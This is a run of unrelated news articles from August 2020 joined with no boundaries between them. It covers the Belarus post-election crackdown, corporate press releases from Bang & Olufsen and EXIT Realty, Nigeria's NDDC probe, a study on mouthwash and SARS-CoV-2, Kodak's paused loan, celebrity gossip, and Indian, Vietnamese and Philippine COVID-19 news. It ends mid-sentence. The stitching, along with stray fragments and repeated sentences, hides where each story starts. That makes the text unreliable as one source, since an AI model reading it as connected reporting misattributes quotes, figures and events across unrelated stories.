Belarusian authorities admitted for the first time on August 12 using live ammunition against people protesting against the presidential election that handed the 65-year-old Lukashenka a sixth term as U.S. Secretary of State Mike Pompeo vowed U.S. action to ensure a "good outcome for the Belarusian people." At least one person has been killed and thousands detained after the August 9 poll that saw Lukashenka, in power since 1994, declared winner. His top challenger, Svyatlana Tsikhanouskaya, has left the country and is now in Lithuania. Earlier in the day, women joined hands in Minsk and other towns and cities in Belarus on August 12 to protest the postelection crackdown. This came after the Belarusian Interior Ministry said that a man was wounded in the western city of Brest overnight after law enforcement opened fire at a group of people who, police said, attacked them with iron bars. It was the first such admittance by the authorities that live ammunition had been used against protesters. The Investigative Committee also admitted a 25-year-old man detained at a street protest in Homel died after being transferred to a prison and then a hospital, making him the second person killed in the unrest. The victim's mother told RFE/RL that her son had not participated in protests and was going to see his girlfriend when he was rounded up by police. She said her son had heart problems and believed he had been beaten. Meanwhile, in an interview with RFE/RL during a visit to Prague on August 12, Pompeo said that "we've watched the violence and the aftermath, peaceful protesters being treated in ways that are inconsistent with how they should be treated." The vote has resulted in three straight evenings of mass protests marred by police violence and thousands of detentions. Pompeo said that the United States had not yet settled on the appropriate response, but would work with Washington's European partners to determine what action to take. According to the Belarusian Interior Ministry, protests were held in 25 towns and cities across Belarus on August 11. "More than 1,000 people were detained for taking part in unsanctioned mass events. According to the Health Ministry, 51 people turned to medical institutions for help. Fourteen police and Interior Ministry troops sustained injuries of different degrees of severity, some of whom were hospitalized," the statement said. WATCH: More footage of the crackdown overnight by RFE/RL's Belarus Service Riot police have fired tear gas, rubber bullets, and stun grenades to disperse protesters in the capital, Minsk, and other cities since August 10. Belarusian authorities said a day earlier that more than 5,000 people had been detained, some 200 hospitalized, and at least one death after protests erupted after the August 9 poll. The demonstrations on August 11 took place after Tsikhanouskaya surfaced in Lithuania that day following reports that she had visited Central Election Comission headquarters on August 10 to file a complaint about the official outcome of the vote. On August 12, hundreds of relatives of detained people gathered in front of the central detention center in Minsk in an attempt to get information about their loved ones. They said that they could hear the screams of people apparently being beaten inside the detention center. They chanted "Shame!" and "Fascists!" when an ambulance and four military vehicles came out of the detention center. They also loudly announced the time in the hope that it would help incarcerated people realize how long had passed since they were detained, as Belarusian law allows suspects to be kept in custody for 72 hours without access to a lawyer and family. RFE/RL correspondents noticed individuals in military uniforms resembling snipers on the roofs of detention center buildings. Human rights activists say all detention centers, police stations, and jails across the country are overcrowded with detained protesters and journalists. The Belarusian Association of Journalists (BAZh) issued a statement on August 12 calling on the authorities to stop targeted violence against media representatives. According to the statement, 12 journalists detained by police while they were covering the protests across the country remain in custody. It remains unknown what they are accused of. The BAZh said security forces deliberately used violence against journalists on August 11, intentionally damaging their equipment and confiscating memory cards. The group demanded that the authorities stop the violence against reporters and immediately release all detained journalists. Meanwhile, European Union foreign ministers will discuss the developments in Belarus at their meeting on August 14, the 27-member bloc's foreign policy chief, Josep Borrell, announced on Twitter. "We will discuss urgent issues and address the situation in the Eastern Mediterranean, the Belarus presidential elections as well as developments in Lebanon," Borrell's tweet said. In his earlier statement on Twitter Borrell called the election in Belarus "neither free nor fair." "EU calls on [Belarusian] leadership to initiate genuine dialogue w/ broader society & stop unacceptable violence and crackdown on freedoms of assembly, media and expression. We will conduct in-depth review of our relations," Borrell tweeted. Belarusian Nobel Prize-winning writer Svetlana Alexievich condemned the police violence against protesters, telling RFE/RL that "the authorities have declared war on their people" and Lukashenka should step down to prevent a bloody civil war. "Leave before it's too late, before you have plunged the people into a terrible abyss, into the abyss of civil war," the 72-year-old author said in her first remarks since the election. "Nobody wants blood. Only you want power. And it's your desire for power that requires blood." Danish English Snorre Kjesbu, Executive Vice President and Head of Design, Creation and Fulfilment, has informed the company that he will be leaving to take up a new position outside Bang & Olufsen. Effective today, Martin Skov, Vice President and Head of Product Creation, has been appointed interim Head of Design, Creation and Fulfilment until a permanent solution is in place. Martin Skov has been with Bang & Olufsen for more than 10 years and has extensive experience within product creation, planning and supply chain management. Snorre Kjesbu will remain with the company until 30 September 2020 and assist with the handover of his assignments. Snorre Kjesbu comments: Bang & Olufsen is a unique brand with so many great people and I was looking forward to contributing to realising the companys potential. However, this was an opportunity that I could not pass up. I want to thank all my passionate colleagues I am certain they will continue their great work, make amazing products and bring Bang & Olufsen safely into the future. CEO, Kristian Tear comments: I want to thank Snorre for his contribution to Bang & Olufsen, and I wish him the best of luck with his new endeavor. We have a strong and well-functioning team with highly experienced and skilled people committed to develop new innovative products in line with our strategy, and Im very pleased that Martin Skov has agreed to take over until further notice. For more information, please contact: Martin Raasch Egenhardt Director, Investor Relations Phone: +45 5370 7439 Jens Gamborg Head of Group Communications Phone: +45 2496 9371 Attachment The ongoing probe of the financial records of the Niger Delta Development Commission (NDDC) is just a drama, the President-General of Urhobo Progress Union (UPU), Moses Taiga, has said. Mr Taiga, who spoke on Saturday with journalists in Lagos, said he did not expect anything good to come out of the probe of the intervention agency by the National Assembly, and the forensic audit ordered by President Muhammadu Buhari. The probe by the National Assembly has been bedeviled by controversies, including corruption allegations and counter-allegations. The National Assembly accused the NDDC interim management of mismanagement of funds. The NDDC on its parts has repeatedly accused federal lawmakers of grabbing several of the commissions contracts worth billions of naira. Peter Nwaoboshi, a serving senator, was accused two months ago of using 11 companies as fronts to secure for himself N3.6 billion contract from the commission in 2016. The contract, the commission said, was not fully executed and that no refund was made for it. The acting managing director of the NDDC, Kemebradikumo Pondei, fainted at a public hearing by the House of Representatives committee on NDDC in July. Daniel Pondei, Acting Managing Director of NDDC. [PHOTO CREDIT: Official web page of NDDC ||www.nddc.gov.ng/] It is a shame that what we all fought for to improve the well-being of the people who produce the wealth of this nation is being abused. I dont expect to see anything good from the issue of this probe as it is just a drama. We have seen this type of thing before, the Urhobo union leader, Mr Taiga said. We are waiting for the result of the forensic audit which I dont believe anything good will come out from. The issue is that NDDC had always lacked good leadership. If the leadership is firm and proper and contracts are given out properly and educated people, who know how to run institutions take charge, things will be different. I am talking from experience because I started my career working for the Nigerian Industrial Development Bank. Development institutions need to be run and organised by people who are trained in that direction. Mr Taiga called on Mr Buhari to swear in Bernard Okumagba as the managing director of NDDC. Mr Okumagba, from Delta State, was among the 15 persons whose nomination by Mr Buhari for the NDDC board were confirmed by the Senate since November last year. The inauguration of the board has, however, been stalled by the appointment of an interim management committee to run the commission. Mr Taiga also called on the federal government to urgently provide infrastructure in Urhobo land. I am looking at what is happening with the Urhobo nation. I am calling on the federal government to provide infrastructure which is our fair share. I am not looking beyond the nation of Urhobo, the fourth largest tribe in this country. We are not being fairly treated. I am demanding infrastructural development for the Urhobo area. I am demanding adequate utilisation of our resources gas, to give us electricity. All the oil companies operating in our area should come back. Federal government is even insisting that oil companies should go back to their areas of production. We are calling on Shell to come back to Urhobo land. We are calling on Chevron to expand its activities to include Urhobo land. We are calling on Seplat to continue production activities in Urhoboland and we are calling on Heritage to come to do same, he said. Cosmetic mouthwashes help manage bad breath but do not really kill the bacteria that cause bad breath. It has been suggested that SARS-CoV-2, the causative agent of COVID-19, replicates in the throat, meaning the throat area has a high viral load. As a result, the person can spread the virus more readily while speaking, coughing or breathing. A lot of people had initially believed that mouthwashes could kill the coronavirus and stop the spread of the disease. This was busted as a myth by the World Health Organisation; they stated that neither swishing nor gargling with mouthwash could kill SARS-CoV-2. In May, a group of researchers claimed that mouthwashes may neutralise the coronavirus by damaging its lipid coat just like soaps and alcohol. It has previously been indicated that antiseptic mouthwashes can reduce viral load in the oral cavity of SARS and MERS patients. Now, a study done at the Ruhr-University Bochum, Germany suggests that mouthwashes may not kill the virus but would be able to reduce viral load in the throat thus reducing the chances of transmission. The study is published in the Journal of Infectious Diseases, a peer-reviewed journal by the Infectious Disease Society of America. Mouthwashes against COVID-19 infection Mouthwashes are oral care products that act as an adjunct to the daily oral hygiene measures such as brushing and flossing. There are two types of mouthwashes -- cosmetic and therapeutic. Cosmetic mouthwashes help manage bad breath but do not really kill the bacteria that cause bad breath. They are available over-the-counter. Therapeutic mouthwashes, on the other hand, contain active ingredients like chlorhexidine, peroxide, fluoride, and essential oils. These kill pathogenic bacteria and help control oral conditions like plaques, tooth decay, and bad breath. "Therapeutic mouthwashes tend to have antibacterial and anti-microbial properties which help them kill all the microorganisms, both good and bad, present in the oral cavity. However, there has been no research on whether these mouthwashes can deactivate or kill viruses, including SARS-CoV-2 virus," said Dr Sonia Bhatt, a dental surgeon associated with MyUpchar. The latest finding In the latest research, scientists studied the effects of eight different oral rinses available in Germany against SARS-CoV-2 under conditions mimicking the nasopharyngeal mucosa. The viral particles were mixed with various mouthwashes and a substance that mimics saliva and the suspension was mixed for 30 seconds to mimic gargling. As a control, the culture medium was used in a few mixtures in place of mouthwashes. Culture mediums are preparations that are used to grow microbes in the lab. All the mixtures were then cultured to note if any viral growth occurs. Interestingly, viral load was found reduced in all the test mixtures (ones with the mouthwash) and some even had almost no virus after 30 seconds. The medium did not affect the infectivity of the virus suggesting that the effect was indeed due to mouthwash and not due to the saliva mimicking solution. The study suggested that while mouthwashes or gargling cannot keep the virus from multiplying inside the cells, it may be able to reduce the viral load in the oral cavity and throat for a while, which may, in turn, reduce the transmission of the disease to an extent. Researchers at the Ruhr-University Bochum are now planning to do clinical studies to assess whether the same effects are seen in patients and for long do the effects last. Clinical trials for the same have already been registered by the University of California San Francisco and the University of Karachi. For more information on the transmission of COVID-19, read our article on How does COVID-19 spread. Health articles in Firstpost are written by myUpchar.com, Indias first and biggest resource for verified medical information. At myUpchar, researchers and journalists work with doctors to bring you information on all things health. Mississauga, ON, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Tami Bonnell, CEO of EXIT Realty Corp. International, today announced that the subfranchisor rights for the state of Florida have been awarded to Kenny Lynn and Stacy Strobls EXIT Southeast. Florida was the first state to be developed by EXIT Realty Corp. International and is home to the largest number of offices and agents in the system. Since the retirement of the previous owner last year, Lynn and Strobl have been shepherding the growth and support of EXITs franchisees and associates there and have now assumed ownership of the region. After serving as Regional Directors for the past year and developing personal relationships, we are thrilled to officially welcome Florida to EXIT Southeast region, said Strobl. It is important for agents to have a company with a winning formula that provides technology, training and franchise owner and agent support. We are excited EXIT makes this all possible and with such a positive, family-oriented culture. The caliber of talent strengthens our region even more so and brings so much positive energy to 2020. EXIT Southeast is the companys fastest growing region. In 2013, then-franchisees, Lynn and Strobl purchased the regional rights to Tennessee, adding Kentucky in 2016 and Georgia in 2017. Since assuming ownership of those regions, they have averaged a 20% increase in growth. EXIT Southeast was named Region of the Year for the third time in 2019 when they also earned top honors for franchise sales. We have aggressive growth plans with over 200,000 licensed agents in the state of Florida, said Lynn. Were assembling the best team in the nation for massive growth. Florida is an exciting addition to EXIT Southeast and is considered a paradise for many. As one of the largest states in North America, Florida is going to experience amazing EXIT growth. I am honored to award the regional rights to Florida to Kenny Lynn and Stacy Strobl, said Bonnell. They have been outstanding leaders in Tennessee, Kentucky and Georgia and for the past year they have inspired our Florida brokers and agents at every turn. We extend our warmest congratulations to them both. About EXIT Realty: EXIT Realty is a company founded and built on human potential. A full service, forward-thinking, real estate franchisor with offices across North America, EXIT has to-date paid out more than $460 million in single-level residual income to its associates. The Expert Marketing Suite including geolocation Smart Sign technology gives sellers an edge in a competitive marketplace. The Focus on Good Health blog promotes wellness at work and home. A portion of every transaction fee received by EXIT Realty Corp. International is applied to its charitable fund. To-date, more than $5.5 million has been pledged to charity. For more information, please visit www.joinexitrealty.com. Attachment Advertisement She recently revealed she had lost a staggering three stone with the help of controversial 250 SkinnyJabs. And Gemma Collins turned heads as she hit the beach in a plunging swimsuit in Mykonos with her friend Charlie King, 34, last week. The Diva Forever star, 39, showed off her cleavage in the halterneck one-piece and amped up the glamour with a giant fedora hat. All eyes on her: Gemma Collins turned heads as she hit the beach in a plunging swimsuit in Mykonos with her friend Charlie King last week The sculpted swimsuit featured a polka dot strap overlay which accentuated her bust and showcased her weight loss by creating a flattering silhouette. Gemma, who arrived back in the U.K last week after filming her Diva Forever series abroad, looked every inch of her GC status as she donned a large wicker hat and oversized shades. The television personality arrived at the beach in a black midi dress, Chanel sliders and carried a Louis Vuitton beach bag but soon stripped off to reveal her swimwear due to the soaring temperatures. Centre of attention: Gemma certainly caught the eye in her glamorous beachwear which included a giant fedora hat Hollywood here I come: The Diva Forever star, 39, showed off her cleavage in the halterneck one-piece Gorgeous: The sculpted swimsuit featured a polka dot strap overlay which accentuated her bust and showcased her weight loss by creating a flattering silhouette Topping up her tan: Gemma went make-up free for the beach trip and tied her platinum locks back into a low ponytail Gemma went make-up free for the beach trip and tied her platinum locks back into a low ponytail. After setting up her sun lounger for the day, the blonde beauty headed for a swim with Charlie, who showed off his chivalrous side by holding her hat to prevent it from getting wet. The TOWIE star had flown out to Mykonos with her personal trainer pal Charlie to help heal her broken heart following her split from James Argent, 32, in July. Gemma ended her relationship with Arg after she revealed a string of abusive messages, purportedly sent to her by the TV personality prior to their split. Designer garb: The television personality arrived at the beach in a black midi dress, Chanel sliders and carried a Louis Vuitton beach bag but soon stripped off to reveal her swimwear due to the soaring temperatures Refreshing: Gemma cooled off from the sunny climes by going for a swim in the sea Blowing off: The star struggled with her hat as she and Charlie waded above the water Sweet friendship: Charlie was every inch the gentleman as he helped Gemma out of the water by taking her hand Best pals: The personality trainer kept Gemma's hat dry as she headed for a swim Elsewhere, her ex James seemed to be moving on from their split by partying with close friends and singing at pal Elliott Wright's restaurant in Marbella. Meanwhile Gemma, who has been vocal about her use of controversial 250 SkinnyJabs, has shared a number of bikini snaps from her Greek holiday amid her weight loss. The Diva Forever star has reportedly booked a boob job because her 'body is getting smaller'. Happy: Gemma appeared in high spirits as she headed back to the beach after her swim She told The Sun: 'I can't wait to get rid of these boobs, they're massive and look ridiculous. I have never looked better than I do now and I've never felt so good.' While admitting it tends to be the 'norm' to opt for larger breasts when booking cosmetic procedures, Gemma insisted that she wants a her natural boobs reduced. She added: 'I never have wanted surgery. But as my body is getting smaller, I feel like I am falling over on top and I just want them gone.' A worker cleans a Kodak booth at the Las Vegas Convention Center in preparation for 2019 CES in Las Vegas, Nevada, on Jan. 6, 2019. (Steve Marcus/File Photo/Reuters) Kodak Shares Drop After Loan Paused Amid Insider Trading Allegations The federal loan was to support domestic manufacturing of pharmaceutical ingredients Eastman Kodak shares fell on Monday after a federal agency put its $765 million loan on hold last week. Recent allegations of wrongdoing raise serious concerns, the U.S. International Development Finance Corporation (DFC), an independent U.S. government agency that provides financing for private development projects, announced late Friday on Twitter. We will not proceed any further unless these allegations are cleared. On July 28, we signed a Letter of Interest with Eastman Kodak. Recent allegations of wrongdoing raise serious concerns. We will not proceed any further unless these allegations are cleared. DFCgov (@DFCgov) August 7, 2020 The agency had signed a letter of interest with Eastman Kodak on July 28 to provide the company with a $765 million loan. President Donald Trump announced the deal on the same day. The federal loan was intended to launch Kodak Pharmaceuticals to produce active pharmaceutical ingredients for generic drugs, to help reduce the United Statess reliance on other countries. The deal marked Trumps 33rd use of the Defense Production Act. Kodak shares skyrocketed more than 1,100 percent just two days after the deals July 28 announcement. It reached a high of $60 a share on July 29. Kodak shares closed at $14.88 on Friday, and at $10.73 by Monday. A statement sent on behalf of Kodak to The Epoch Times on early Tuesday reads, The Company appreciates and supports the DFCs decision to await clarification before moving forward with the process. Kodak announced on Aug. 7 that it has started an internal review of recent activity by the company and related parties in connection with the announcement of a potential loan by the U.S. International Development Finance Corporation to support the launch of Kodak Pharmaceuticals. The company does not intend to make further public comment on the committees work during the pendency of the review, Kodaks statement read. Sen. Elizabeth Warren (D-Mass.) sent a letter on Aug. 3 asking the U.S. Securities and Exchange Commission (SEC), an independent U.S. government agency that regulates the countrys securities industry, to investigate potential incidents of insider trading before July 28. There were several instances of unusual trading activity prior to the announcement of this deal, raising questions about whether one or more individuals may have engaged in insider trading or in the unauthorized disclosure of material, nonpublic information regarding the forthcoming loan awarded under the Defense Production Act, Warren wrote in her letter (pdf). The Wall Street Journal on July 29 reported that local media outlets in Rochester, New York, may have published some articles and Twitter posts about the deal before the official announcements by Trump and the DFC on July 28. According to the WSJ report, Kodak reportedly sent a news advisory to news outlets ahead of the official announcement, and did not indicate that news of the $765 million loan deal was not intended to be released until later. On Aug. 4, the outlet reported, citing anonymous sources, that the SEC was investigating the situation. When asked on Aug. 4 to comment on reports that the SEC had opened an investigation into the Kodak deal, Trump said, Well do a little study on that, and well find out If there is any problem, well let you know about it very quickly, but I wasnt involved in it. Press Secretary Kayleigh McEnany said on Monday that the administration is certainly aware of the Kodak allegations and take them seriously. She noted that the DFC put the deal on hold as soon as the administration became aware of the allegations. White House trade adviser Peter Navarro commented on the situation on Twitter, writing, VERY disappointed last weeks great deal with Kodak tarnished by allegations. Absolutely RIGHT move by DFC! We must redouble efforts to bring our pharma manufacturing home!! VERY disappointed last weeks great deal with Kodak tarnished by allegations. Absolutely RIGHT move by DFC! We must redouble efforts to bring our pharma manufacturing home!! #BuyAmerican https://t.co/2OfAjJFHKH Peter Navarro (@PeterNavarro45) August 7, 2020 All travelers have canceled tours to Covid-19 stricken areas and 30-40 percent have canceled tours to epidemic-free areas as well, reported Nguoi Lao Dong. Tran Ngoc Nhung in Binh Thanh district in HCM City said her daughter initially planned to go on an outdoor excursion to Ho Tram in Ba Ria Vung Tau with classmates late last week on the occasion of the closing of the academic year. However, parents decided to cancel the tour because of Covid-19. Le Hoang Nam in district 12 said he and friends are thinking about cancelling a tour to Con Dao Island later this week. We have booked air tickets and hotels. And no infection cases have been discovered at the destination so far. However, traveling at this moment does not bring joy, he said. According to the Hanoi Tourism Department, 7,503 travelers booking tours at 22 travel firms canceled tours to many destinations on July 28-30, the days the first cases in Da Nang were discovered. CEO of Flamingo Redtours Nguyen Cong Hoan said after the Vietnamese travel Vietnam campaign, the tourism sector should launch another campaign calling on travelers to share difficulties with travel firms by delaying tours to reasonable times or changing destinations. Pham Minh Quang, director of Dolphin Tour, said 95 percent of the companys tours have been cancelled or postponed. We have tried to persuade clients to postpone tours to appropriate time, but they insist on cancelation, he said. Phung Quang Thang, chair of the Hanoi Travel Association, director of Hanoitourist, said that three parties, travel firms, airlines and service providers, need to cooperate to share difficulties. Airlines should apply reasonable policies for groups of passengers canceling or postponing flights, while accommodation service providers should also extend the validity of booking, so that travelers can travel at another time at the same prices. Airlines should apply reasonable policies for groups of passengers canceling or postponing flights, while accommodation service providers should also extend the validity of booking, so that travelers can travel at another time at the same prices. Nguyen Thi Khanh, deputy chair of the Vietnam Tourism Association, said the association has sent a document to the state management agency and local tourism associations calling for cooperation in negotiating for tour cancelation and postponement. When canceling tours, most travelers require 100 percent refunds, while only a few of travelers accepted to delay tours to appropriate time. Meanwhile, travel firms cannot get back the advances, deposits or payments for services they made to transport firms, accommodation service providers, restaurants and airlines. Representatives of Vietnam Airlines, Bamboo Airways and Vietjet met with travel firms recently. Vietnam Airlines said it is allowing passengers to reserve tickets until June 2021. Translated by Kim Chi VN travel hit by COVID-19 again As new cases of COVID-19 are being identified in a number of localities, the inroads made by the countrys tourism sector over the last few months via a domestic market stimulus programme are now at risk of stalling. I wouldnt call it a pot of gold at the end of the renewable rainbow, but call it a growing cash crop on the Eastern Plains, and it flourishes in abundance. Sun and wind on the wide-open spaces of Colorado could fill a gaping hole in the region's economy with new opportunities. Late last month my friends over at The Western Way released a report detailing $9.4 billion in investments in renewable energy on the plains already. The analysis provides kindling for a hot conversation on what more could be done to help this region and its people to prosper from the next big thing. Eastern Plains tallies up benefits from renewable energy projects The 15 counties on Colorado's Eastern Plains could see $9.4 billion in investments and const Political winds of change are powering greener energy to the point that conservative organization and rural farm interests are certainly paying attention if not getting onboard. Gov. Jared Polis and the Democrats who control the state House and Senate have the state on course for getting 100% of its energy from renewable resources in just two decades. Those who plan for that will be in the best position to capitalize on the coming opportunities. The Eastern Plains, economically wobbly on its feet for years now, doesnt plan to be left behind any longer. Folks out there, battered by a fading population, years of drought and fewer reasons to hope for better days, are ready to try something new, something with dollars attached to it. Renewable energy is not the whole answer for what troubles this region, but its one answer, said Greg Brophy, the family farmer from Wray, a former state senator and The Western Ways Colorado director. The Western Way is a conservative group concerned about the best possible outcomes for business and conservation in a changing political and economic landscape. INSIGHTS: Trump sowing seeds of doubt in Colorado farm country If you want to make some noise, you stick the pig that squeals loudest. Thats what you need to know about the Chinese tariffs on 128 U.S. agricultural products and what it could mean for President Trump. In the General Assembly, Brophy wrote a law that based property taxes on the value of the electricity generated. One good wind turbine could net a landowner $10,000 a year in lease payments, and that ain't chicken feed, Brophy said. It also makes a bigger political statement that bears listening to. Its a market-based solution to concerns people have with the environment, Brophy said. "Whether you share those concerns or not, a lot of people are concerned, and rather than doing some silly Green New Deal, we actually can have a market-based solution that can provide lower cost electricity. Brophy was an early Trump supporter, a GOP candidate for governor and the former chief of staff to U.S. Rep. Ken Buck. Hes dismayed at the president for mocking wind energy. He thinks some healing of our broken nation could take place if people looked more for win-wins. Take the mountain plover. When the migratory shore bird was threatened because of accidental losses of nests in fields, farmers stepped up and changed practices without the need for the heavy hand of government. Both sides have to be willing to set aside conflict and fundraising for the common good, which is increasingly uncommon. Renewable energy checks all the boxes: It helps farmers, it helps the planet and it gives Republicans and Democrats in Denver and D.C. one less thing to argue about. For people on the left, theyre getting something they want out of it, and for guys like me who are conservative to say, See, heres a market-based solution to your problem.' It's good for the left and it puts some money in the pockets of the people I care about in Eastern Colorado. Family farms already squeeze a lot of diversity out of their operations, which is critical at a time when tariffs and trade deals cut deeply into crop and livestock profits. I dont think its ever going to be as lucrative as oil and gas," Brophy said of wind and solar development, "but its big enough to make a heck of an impact. Polis, the state's highest ranking green energy advocate, sounded like it was all part of the promise he made when he entered the governors race three years ago. My commitment to achieving 100% renewable energy by 2040 is motivated not only by our obligation to protect our air, our water, our climate and our way of life," he told Insights. "Its also a tremendous opportunity to create more good green jobs and while ensuring our economy is resilient and diverse especially on the Eastern Plains. San Luis Valley rancher Don Shawcroft, president of the Colorado Farm Bureau, said somethings got to give. "Farmers and ranchers look for any way they can to diversify and find new income sources when times are tough, he said. Particularly now when the agriculture industry is in its eighth year of declining farm income, renewable energy leases can be an important tool in their toolbox. Yet, with promises for rural areas comes complications such as disruption of vast open view sheds, location of transmission sites and the tendency for a boom and bust to local economies. He said the Colorado Farm Bureau, the biggest backer of farmers and ranchers, has long advocated for the cost-effective supply of energy. For a long time, thats been oil and gas, but now things are changing. As society clamors for renewable transition, it's important that it's not on the backs of rural Colorado," he said, to which all Coloradans should wholeheartedly agree. ABC NewsBY: ESTHER CASTILLEGI and ALLIE YANG (NEW YORK) -- Dr. Anthony Fauci told World News Tonight anchor David Muir that the viral photo of a crowded school hallway in Georgia taken last week was disturbing. There should be universal wearing of masks, he said Monday when asked about reopening schools. There should be the extent possible social distancing, avoiding crowds. Outdoors [is] always better than indoors and [you should] be in a situation where you continually have the capability of washing your hands and cleaning up with sanitizers. When I see sights like that, it is disturbing to me, Fauci added. Hannah Watters, a 15-year-old sophomore at North Paulding High School in Dallas, Georgia, captured the image in the schools hallway. She was suspended within 24 hours after sharing the photo on social media but then had the punishment revoked days later. On Monday, officials announced the school would close for cleaning after nine people tested positive for COVID-19. Fauci, director of the National Institute of Allergy and Infectious Diseases (NIAID) and an advisor to six U.S. presidents, recommends a comprehensive way to really avoid the things the viral photo captured, including the lack of masks and social distancing in an enclosed space. While he conceded that mask-wearing guidance will be decided at the local level, he said the universal wearing of masks is one of five or six things that are very important in preventing the upsurge in infection and in turning around the infections that we are seeing surge. Copyright 2020, ABC Audio. All rights reserved. By PTI BENGALURU: Karnataka will take all steps to implement Prime Minister Narendra Modi's suggestions to bring the COVID-19 spread under control, Medical Education Minister K Sudhakar said on Tuesday. The state has also placed several requests before the the Prime Minister including doubling of graduate and post graduate medical seats and setting up of liquid oxygen plants as part of COVID management. Speaking to reporters after attending the video conference by Modi along with Chief Ministers of 10 states to discuss COVID-19 situation, he said, these states constitute more than 80 per cent of the six lakh active cases in the country, and containing it here will be crucial in fight against the pandemic. Sudhakar said, appreciating the measures taken by the state governments, the prime minister has asked them to identify primary and secondary contacts within 72 hours after a COVID infection is reported, to bring the virus spread under control,besides setting a target to bring down the death rate below 1 per cent. "We have planned to implement the suggestions given by the prime minister in Karnataka," he said. The COVID-19 death rate in the country is about 1.99 per cent, while in Karnataka it is 1.8 per cent, and in Bengaluru it is 1.7 per cent. Modi today interacted with Chief Ministers and representatives of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana, and Uttar Pradesh via video conference to discuss the current situation and plan ahead for tackling the COVID-19 pandemic. In the absence of Chief Minister B S Yediyurappa, who is currently under home isolation after undergoing treatment for coronavirus, Deputy Chief Minister C N Ashwath Narayan and Sudhakar attended the meeting. Stating certain requests have been put forth by the state before the prime minister, Sudhakar said "we have sought immediate starting of course for final year medical and para medical students, so that they can be used for COVID related activities, if not at designated hospitals. We have also asked for doubling of the degree and post graduate medical seats from 10,000 to 20,000 and from 2,000 to 4,000 respectively, and also to bring in an amendment to laws or issue guidelines making one year government service compulsory for them, after the completion of course. " "Telangana Chief Minister Chandrashekar Rao also reiterated our suggestions for increasing medical seats, to fight not only COVID but other diseases also in the days to come," he said. The number of medical professionals should be adequate to meet the requirements of the population, he added. Pointing out that there was a shortage in the supply of liquid oxygen with the increase in demand, the minister said the state government has sought the centre's cooperation in setting up of liquid oxygen plants. Sudhakar said Modi was informed about the measures taken by the state to control the pandemic, including increasing the number of testing labs from two in March to 100 by August besides increasing the number of tests from 20,000 per day to 50,000, and further enhance it to 75,000 soon. The prime minister was also informed about the formation of a booth level task force with a task to quarantine,spreading awareness, identifying contacts, conducting door to door surveys, among others. Information on free treatment by government and treatment by fixing price at private hospitals were also shared. During the meeting, the state said by the end of September 20,000 beds will have oxygen support installed. Other points shared included number of ambulances being increased from 800 to 2000, and Rs 6,65,00,000 fine collected and 2,05,029 FIRs booked for violating COVID guidelines, Sudhakar said. Russia says the vaccine will be supplies to the Philippines by teaming up with a local company, or the country's participation in clinical trials. Russia has offered its newly-registered vaccine against the coronavirus to the Philippines, and the country's President Rodrigo Duterte has reportedly accepted the offer. Duterte said he is also willing to participate in human trials for the vaccine. The vaccine has received regulatory approval and has become the world's first registered vaccine against SARS-CoV-2 virus. This annoucement was made today, 11 August by Russian President Vladimir Putin during a government meeting. He said that his daughter has also been given the vaccine. Russia will provide the vaccines to the Philippines by either supplying it to the country, teaming up with a local company to produce it or via the participation of the Philippines in clinical trials. Russian Ambassador to the Philippines Igor Khovaev told reporters, The Russian side is ready to closely cooperate with Philippine partners in this field." "We are ready to make necessary investments with our Philippine partners, and we are ready to share our technologies, he added. According to a report by Bloomberg Quint, Duterte wants to boost relations with Russia and has agreed to conduct human trials in the country. In a televised public announcement, Reuters reported that Duterte said When the vaccine arrives, I will have myself injected in public. Experiment on me first, thats fine with me, I will tell President (Vladimir) Putin that I have huge trust in your studies in combating COVID and I believe that the vaccine that you have produced is really good for humanity." On Tuesday, 11 August, the Philippines reported 2,987 new coronavirus cases taking its tally of confirmed cases to 1,39,538, the highest in Southeast Asia, according to a Reuters report. A health ministry bulletin also reported 19 more fatalities, bringing the countrys death toll to 2,312. The Russian vaccine has been produced by Gamaleya Scientific Research Institute of Epidemiology and Microbiology along with the Russian Defence Ministry. Phase 1 of the human trials of the vaccine were split into two parts and reportedly begun on 18 June. Sputnik News reports states that all 38 participants developed an immune response. Production of the vaccine will begin in September and in October Russia is planning on conducting a mass vaccination campaign. The government said that the first doses will be given to frontline workers and teachers, free of charge. Also Read: Russia has launched the worlds first COVID-19 vaccine: Here's all you need to know Russia's COVID-19 vaccine successfully completes first phase of human clinical trials Putin announces first 'registered' COVID-19 vaccine from Russia's Gamaleya Institute; his daughter among those inoculated File Photo Chandigarh: Amid surge in Covid cases and 50% revenue decline for the first quarter of this fiscal in Punjab, Chief Minister Captain Amarinder Singh on Tuesday sought from Prime Minister Narendra Modi a liberal financial package for states to fill the collection gap caused by the pandemic, and also flexibility on Covid-related terms of expenditure in SDRF. During a Video Conference meet of the Prime Minister with chief ministers of some states to review the Covid situation, Captain Amarinder said the current cap of 35% in State Disaster Relief Fund (SDRF) for Covid related expenditure, as per MHA guidelines, is not sufficient to meet the current requirements. Defence Minister Rajnath Singh and Health Minister Dr. Harsh Vardhan also participated in the meeting. Advertisement Capt Amarinder SinghThe Chief Minister thanked the Government for India for accepting Punjabs proposal to set up a National Institute of Virology for the North Zone and said the state government will soon give 25 acres of land for the Institute for ICMR for the purpose. Citing the states rising cases of Covid, which have gone up to 24891 with 604 deaths, the Chief Minister urged the Prime Minister to review the UGC decision on mandatory exams for exit classes to be held by September 30. Punjab may not be in a position to conduct exams in September as it may be facing its peak at that time, he said, suggesting promoting these students promoted on past performance and internal assessment, with option to take exams later for those wanting to improve their performance. Advertisement Amarinder and PM Modi He also sought central government assistance for online school education, especially for poor children of Classes X and XII. More money was needed for creating the infrastructure needed to support online education, he added. Though Punjab was conducting 23,000 tests per million for Covid (higher than the national average), and planned to increase RT-PCR tests from 12000 to 20000 in the next 15 days, it needed to scale up the testing capacity further, the Chief Minister stressed. Advertisement He requested the Prime Minister to direct Government of India institutions in Chandigarh & Punjab to increase testing capacity, as already written to him earlier. Expressing concern over the states mortality rate of 2.4%, Captain Amarinder said though it was lower than the all India deaths per million and 91% of the fatality cases were with co-morbidity, it was still higher than neighbouring Haryana. Capt Amarinder SinghPatients were coming to hospitals late and 86% deaths were occurring in tertiary hospitals, he added. Advertisement Captain Amarinder also requested immediate operationalisation of Covid testing and treatment at AIIMS Bathinda, where OPDs are already functional, and said this will be useful for the people of southern Punjab. Noting that PGI Chandigarh is a premier tertiary care facility for Punjab, he also sought increase in the bed capacity at the hospital and strengthening of the existing PGI Satellite Centre at Sangrur, especially for COVID treatment. The 